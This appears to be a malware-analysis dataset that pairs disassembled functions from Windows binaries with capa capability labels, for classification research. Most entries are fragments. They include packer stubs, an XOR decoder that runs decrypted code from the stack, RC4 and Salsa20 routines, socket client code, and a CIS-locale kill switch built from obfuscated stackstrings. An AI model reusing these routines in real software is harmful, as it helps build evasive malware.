joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404190
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
cmp eax, edx
jmp loc.00417c5d

Function at 0x404498
Capabilities:
Packed with generic packer

Disassembly:
xor ecx, ecx
push ebx
mov cl, byte [edx + 1]
push esi
push edi
mov ebx, eax
lea esi, [ecx + edx + 0xa]
mov edi, dword [ecx + edx + 6]
jmp loc.0041a517

Function at 0x40455c
Capabilities:
Packed with generic packer

Disassembly:
xor ecx, ecx
push ebx
mov cl, byte [edx + 1]
push esi
push edi
mov ebx, eax
lea esi, [ecx + edx + 0xa]
mov edi, dword [ecx + edx + 6]
jmp loc.00416d2c

Function at 0x404590
Capabilities:
Packed with generic packer

Disassembly:
cmp dword [0x40b010], 0
je 0x4045a0
jmp loc.004170d4
mov al, 0x10
call fcn.00402600
ret

Function at 0x4047fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404862
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
jmp loc.0041cc07

Function at 0x4049cc
Capabilities:
Set thread local storage value

Disassembly:
push ebx
call fcn.004049c4
mov ebx, eax
test ebx, ebx
je fcn.00404a0e
cmp dword [0x40b0b0], 0xffffffff
jne fcn.004049eb
mov eax, 0xe2
jmp loc.0041b33d

Function at 0x404b38
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
jmp loc.00419802

Function at 0x404e48
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x404e9d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 4]
call fcn.00404044
push eax
lea eax, [ebp - 4]
call fcn.0040429c
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_send
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404ea4
lea eax, [ebp - 4]
call fcn.00403dcc
ret

Function at 0x404fa0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x404ff6
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
mov edx, dword [ebp - 4]
mov eax, 0x40500c
call fcn.00404388
mov ecx, eax
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.004042a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404ffd
lea eax, [ebp - 4]
jmp loc.0041456e
Function at 0x4070b8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebx
mov ebx, eax
lea eax, [ebx + 0x44]
push eax
mov dl, 1
mov al, 2
call fcn.00404c28
push eax
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x30], eax
mov word [ebx + 0x34], 2
mov ax, word [ebx + 4]
push eax
call sub.wsock32.dll_htons
mov word [ebx + 0x36], ax
mov eax, dword [ebx + 8]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
jmp loc.0041c833

Function at 0x407294
Capabilities:
Copy file
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff678
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x988], edx
mov dword [ebp - 0x984], edx
mov dword [ebp - 0x980], edx
mov dword [ebp - 0x97c], edx
mov dword [ebp - 0x978], edx
mov dword [ebp - 0x974], edx
mov dword [ebp - 0x970], edx
mov dword [ebp - 0x96c], edx
mov dword [ebp - 0x968], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
mov ebx, 0x40c6c4
jmp loc.00414cbf

Function at 0x407e60
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.00414828

Function at 0x408650
Capabilities:
Packed with generic packer

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 0x14]
cmp eax, 0xffffffff
je fcn.00408668
push eax
call sub.kernel32.dll_FindClose
jmp loc.0041659e

Function at 0x4086bc
Capabilities:
Packed with generic packer

Disassembly:
push ebx
mov ebx, eax
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 0x14]
push eax
call sub.kernel32.dll_FindNextFileA
test eax, eax
je 0x4086d9
mov eax, ebx
call fcn.004085ec
pop ebx
ret
jmp loc.00415c75

Function at 0x40898c
Capabilities:
Packed with generic packer

Disassembly:
push edi
push esi
push ebx
mov esi, eax
mov edi, edx
mov ebx, ecx
xor al, al
test ecx, ecx
je 0x4089a0
repne scasb al, byte es:[edi]
jne 0x4089a0
inc ecx
sub ebx, ecx
mov edi, esi
mov esi, edx
mov edx, edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
jmp loc.0041d408

Function at 0x4089d4
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, ebx
jmp loc.00413379

Function at 0x4089f4
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov eax, esi
call fcn.00404044
mov ebx, eax
mov eax, edi
mov edx, ebx
jmp loc.00415136

Function at 0x408a30
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
mov ebx, eax
mov eax, ebx
jmp loc.00414c51
Function at 0x408c58
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x408d9f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403dcc
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x408d6a
jmp loc.0041bd30

Function at 0x408e18
Capabilities:
Create process on windows
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
jmp loc.0041a398

Function at 0x408f14
Capabilities:
Get common file path
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x408fa3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x101
call fcn.0040402c
jmp loc.0041bfdc

Function at 0x408fbc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
push 0x40904b
jmp loc.00417969

Function at 0x409064
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
jmp loc.0041a3c3

Function at 0x40910c
Capabilities:
Get common file path
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
xor eax, eax
push ebp
jmp loc.0041be32

Function at 0x4091f8
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov eax, esi
call fcn.00404044
mov ebx, eax
cmp ebx, 1
jl 0x40922f
jmp loc.0041ba73
pop edi
pop esi
pop ebx
ret

Function at 0x409278
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
push ecx
mov dword [esp], edx
mov esi, eax
mov eax, esi
call fcn.00404044
mov edi, eax
mov ebx, edi
cmp ebx, 1
jl 0x4092b2
jmp loc.0041860d
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4092b8
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov eax, esi
jmp loc.0041856c
Function at 0x4093c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x578], ebx
mov dword [ebp - 0x568], ebx
mov dword [ebp - 0x56c], ebx
mov dword [ebp - 0x570], ebx
mov dword [ebp - 0x574], ebx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404234
lea edi, [ebp - 8]
xor eax, eax
push ebp
jmp loc.0041a614

Function at 0x40970c
Capabilities:
Initialize winsock library
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
xor edx, edx
mov dword [ebp - 0x194], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409781
jmp loc.004134f0

Function at 0x409884
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x194], edx
mov edi, eax
xor eax, eax
push ebp
push 0x40999a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x190]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x40996d
jmp loc.00416206

Function at 0x4099e8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, edx
mov eax, ebx
call fcn.00404244
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409a05
and eax, 0x10
cmp eax, 0x10
je 0x409a09
xor eax, eax
jmp 0x409a0b
mov al, 1
neg al
sbb eax, eax
pop ebx
ret

Function at 0x409af3
Capabilities:
Packed with generic packer

Disassembly:
add eax, edx
mov edx, dword [ebp - 0xc]
add eax, dword [edx + 0x10]
imul edi, eax, 0x3e8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
add eax, eax
lea eax, [eax + eax*4]
add edi, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
cmp eax, 0xffffffff
je 0x409af5
imul eax, eax, 0xea60
sub edi, eax
jmp loc.0041ad14

Function at 0x40a23c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
jmp loc.0041949b

Function at 0x40a3f4
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push 0x40a460
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
push 0x40a470
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [0x40c800], eax
push 0x40a480
push ebx
jmp loc.00417e74

Function at 0x41344d
Capabilities:
Connect network resource
Copy file

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
cmp ax, 6
add esp, 0xc
leave
popal
popfd
mov edi, 0x40b134
jmp fcn.00409d4d

Function at 0x4134ca
Capabilities:
Copy file

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
cmp ax, 6
add esp, 0xc
leave
popal
popfd
mov ebx, 0xa
jmp loc.004077ab
Function at 0x413692
Capabilities:
Copy file
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4050a0
push 0x401cd0
push eax
push ebx
push edi
xor edx, edx
mov dl, ah
mov ecx, eax
and ecx, 0xff
shl ecx, 8
add ecx, edx
shr eax, 0x10
pop ecx
test eax, eax
add esp, 0x14
leave
popal
popfd
mov eax, dword [ebx + 0x1ec]
jmp loc.004055c2

Function at 0x414878
Capabilities:
Connect network resource
Copy file

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
push eax
test eax, eax
add esp, 0x10
leave
popal
popfd
mov word [ebp - 0xe], 0
jmp fcn.00409d21

Function at 0x414c53
Capabilities:
Check os version

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
dec eax
push ebx
push edx
dec ecx
dec ecx
add al, 1
dec ecx
and al, 0
add al, 0
add esp, 8
leave
popal
popfd
mov edx, 0x408b60
jmp loc.00408a40

Function at 0x415179
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
push 0x8001
push 8
push 0x2b4
push eax
push 0x40861c
push 0x408604
push 0x4685a0
push eax
mov edi, 0x4c10a0
push edi
mov eax, edi
add esp, 0x30
leave
popal
popfd
call fcn.00403468
jmp loc.00403859

Function at 0x415b3d
Capabilities:
Copy file
Receive data
Receive data on socket

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4050a0
push 0x401cd0
push eax
push ebx
push edi
xor edx, edx
mov dl, ah
mov ecx, eax
and ecx, 0xff
shl ecx, 8
add ecx, edx
shr eax, 0x10
pop ecx
test eax, eax
add esp, 0x14
leave
popal
popfd
call fcn.00404e48
jmp fcn.0040556b

Function at 0x416426
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4050a0
push 0x401cd0
push eax
push ebx
push edi
xor edx, edx
mov dl, ah
mov ecx, eax
and ecx, 0xff
shl ecx, 8
add ecx, edx
shr eax, 0x10
pop ecx
test eax, eax
add esp, 0x14
leave
popal
popfd
call fcn.00404a10
jmp loc.0040387d

Function at 0x417549
Capabilities:
Check internet connectivity via wininet

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41aa50
push 0x41810c
push eax
push ebx
push edi
xor ebx, ebx
push 2
pop ecx
mov ecx, dword [0x40efd3]
mov ecx, dword [0x4018f1]
add esp, 0x18
leave
popal
popfd
call sub.wininet.dll_InternetGetConnectedState
jmp loc.00408bef
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov eax, 0x41bc51
cmp byte [eax], 0
je 0x40105f
movd xmm0, eax
pxor xmm1, xmm1
paddd xmm1, xmm0
movd ebx, xmm1
emms
call 0x401026
pop edi
add edi, 0x49
mov ecx, 0x11914
sub esp, ecx
sub ecx, 1
mov dl, byte [ebx + 1]
mov ah, byte [ebx + 2]
not dl
add dl, ah
sar dl, 3
mov bl, byte [edi + ecx]
add bl, dl
xor bl, ah
not dl
mov byte [esp + ecx - 1], bl
loop 0x401041
mov eax, fcn.004021e0
sub eax, edi
mov ecx, esp
add ecx, eax
dec ecx
push esp
call ecx
push esi
call fcn.004021e0
xor eax, eax
pop edi
pop ebx
pop ebp
ret 0x10

Function at 0x414af3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004139dc
and dword [ebp - 4], 0
cmp dword [0x41de80], 0
mov ebx, eax
jne 0x414ba4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x414c55
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x414c55
push eax
call fcn.0041396a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41de80], eax
call esi
push eax
call fcn.0041396a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41de84], eax
call esi
push eax
call fcn.0041396a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41de88], eax
call esi
push eax
call fcn.0041396a
pop ecx
mov dword [0x41de90], eax
test eax, eax
je 0x414ba4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041396a
pop ecx
mov dword [0x41de8c], eax
mov eax, dword [0x41de8c]
cmp eax, ebx
je 0x414bfc
cmp dword [0x41de90], ebx
je 0x414bfc
push eax
call fcn.004139e5
push dword [0x41de90]
mov esi, eax
call fcn.004139e5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x414bfc
test edi, edi
je 0x414bfc
call esi
test eax, eax
je 0x414bf3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x414bf3
test byte [ebp - 0xc], 1
jne 0x414bfc
or dword [ebp + 0x10], 0x200000
jmp 0x414c35
mov eax, dword [0x41de84]
cmp eax, ebx
je 0x414c35
push eax
call fcn.004139e5
pop ecx
test eax, eax
je 0x414c35
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x414c35
mov eax, dword [0x41de88]
cmp eax, ebx
je 0x414c35
push eax
call fcn.004139e5
pop ecx
test eax, eax
je 0x414c35
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41de80]
call fcn.004139e5
pop ecx
test eax, eax
je 0x414c55
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x414c57
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41695e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41b9f8]
jne 0x416968
repz ret
jmp fcn.00418085
Function at 0x406635
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d448]
jne 0x40663f
repz ret
jmp fcn.0040862b

Function at 0x407c43
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40d448]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040533f
and dword [ebp - 0x14], 0
cmp dword [0x43c210], 0
mov dword [ebp - 0x18], eax
jne 0x407cf6
push 0x4021b0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x407d9e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4021a4
push ebx
call edi
test eax, eax
je 0x407d9e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402194
push ebx
mov dword [0x43c210], eax
call edi
push eax
call esi
push 0x402180
push ebx
mov dword [0x43c214], eax
call edi
push eax
call esi
push 0x402164
push ebx
mov dword [0x43c218], eax
call edi
push eax
call esi
mov dword [0x43c220], eax
test eax, eax
je 0x407cf6
push 0x40214c
push ebx
call edi
push eax
call esi
mov dword [0x43c21c], eax
mov eax, dword [0x43c21c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407d4f
cmp dword [0x43c220], ecx
je 0x407d4f
push eax
call esi
push dword [0x43c220]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407d4f
test ebx, ebx
je 0x407d4f
call edi
test eax, eax
je 0x407d46
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407d46
test byte [ebp - 8], 1
jne 0x407d4f
or dword [ebp + 0x10], 0x200000
jmp 0x407d82
mov eax, dword [0x43c214]
cmp eax, dword [ebp - 0x18]
je 0x407d82
push eax
call esi
test eax, eax
je 0x407d82
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407d82
mov eax, dword [0x43c218]
cmp eax, dword [ebp - 0x18]
je 0x407d82
push eax
call esi
test eax, eax
je 0x407d82
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43c210]
call esi
test eax, eax
je 0x407d9e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407da0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406635
leave
ret
Function at 0x409f20
Capabilities:
Copy file
Get uefi variable

Disassembly:
sub esp, 0x934
cmp dword [0x4b7d80], 0x37
jne 0x409fa5
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push 0x402a68
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea eax, [esp + 0x18]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0
lea ecx, [esp + 0x138]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
lea edx, [esp]
push edx
push 0
lea eax, [esp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push 0
lea ecx, [esp + 0x538]
push ecx
push 0x402a7c
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
mov edx, dword [0x4b7d84]
mov ecx, dword [0x4b7464]
mov al, byte [edx + esi + 0x38d6]
mov byte [ecx + esi], al
add esp, 0x934
ret
Function at 0x401410
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, str.expand_32_byte_k
cmp dword [ebp + 0x10], 0x100
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, str.expand_16_byte_k
mov eax, dword [edx]
cmove esi, ecx
lea ecx, [edx + 0x10]
cmovne ecx, edx
mov dword [edi + 0x10], eax
mov eax, dword [edx + 4]
mov dword [edi + 0x14], eax
mov eax, dword [edx + 8]
mov dword [edi + 0x18], eax
mov eax, dword [edx + 0xc]
mov dword [edi + 0x1c], eax
mov eax, dword [ecx]
mov dword [edi + 0x20], eax
mov eax, dword [ecx + 4]
mov dword [edi + 0x24], eax
mov eax, dword [ecx + 8]
mov dword [edi + 0x28], eax
mov eax, dword [ecx + 0xc]
mov dword [edi + 0x2c], eax
mov eax, dword [esi]
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
mov eax, dword [esi + 0xc]
mov dword [edi + 0xc], eax
pop edi
pop esi
pop ebp
ret
Function at 0x403e70
Capabilities:
Contain obfuscated stackstrings
Get geographical location
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xc0], 0x7a0041
mov word [ebp - 0x5c], ax
mov word [ebp - 0x1c], ax
mov word [ebp - 0x2c], ax
mov word [ebp - 0x70], ax
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x100], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xf0], eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0xec], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0xe4], eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xe0], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0xbc], 0x720065
mov dword [ebp - 0xb8], 0x610062
mov dword [ebp - 0xb4], 0x6a0069
mov dword [ebp - 0xb0], 0x6e0061
mov dword [ebp - 0xac], 0x69
mov dword [ebp - 0x6c], 0x720041
mov dword [ebp - 0x68], 0x65006d
mov dword [ebp - 0x64], 0x69006e
mov dword [ebp - 0x60], 0x6e0061
mov dword [ebp - 0xd8], 0x650042
mov dword [ebp - 0xd4], 0x6f006c
mov dword [ebp - 0xd0], 0x750072
mov dword [ebp - 0xcc], 0x730073
mov dword [ebp - 0xc8], 0x610069
mov dword [ebp - 0xc4], 0x6e
mov dword [ebp - 0x28], 0x61004b
mov dword [ebp - 0x24], 0x61007a
mov dword [ebp - 0x20], 0x68006b
mov dword [ebp - 0x38], 0x79004b
mov dword [ebp - 0x34], 0x670072
mov dword [ebp - 0x30], 0x7a0079
mov dword [ebp - 0x94], 0x6f004d
mov dword [ebp - 0x90], 0x64006c
mov dword [ebp - 0x8c], 0x760061
mov dword [ebp - 0x88], 0x610069
mov dword [ebp - 0x84], 0x6e
mov dword [ebp - 0xc], 0x610054
mov dword [ebp - 8], 0x69006a
mov dword [ebp - 4], 0x6b
mov dword [ebp - 0x48], 0x750052
mov dword [ebp - 0x44], 0x730073
mov dword [ebp - 0x40], 0x610069
mov dword [ebp - 0x3c], 0x6e
mov dword [ebp - 0x58], 0x750054
mov dword [ebp - 0x54], 0x6b0072
mov dword [ebp - 0x50], 0x65006d
mov dword [ebp - 0x4c], 0x6e
mov dword [ebp - 0x18], 0x7a0055
mov dword [ebp - 0x14], 0x650062
mov dword [ebp - 0x10], 0x6b
mov dword [ebp - 0xa8], 0x6b0055
mov dword [ebp - 0xa4], 0x610072
mov dword [ebp - 0xa0], 0x6e0069
mov dword [ebp - 0x9c], 0x610069
mov dword [ebp - 0x98], 0x6e
mov dword [ebp - 0x80], 0x650047
mov dword [ebp - 0x7c], 0x72006f
mov dword [ebp - 0x78], 0x690067
mov dword [ebp - 0x74], 0x6e0061
push 0xa0
mov dword [ebp - 0xdc], eax
lea eax, [ebp - 0x1a8]
push eax
push 0x1001
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea esi, [ebp - 0x108]
mov edi, 0xc
nop dword [eax]
push dword [esi]
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4040f5
push 0x29a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
add esi, 4
sub edi, 1
jne 0x4040d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret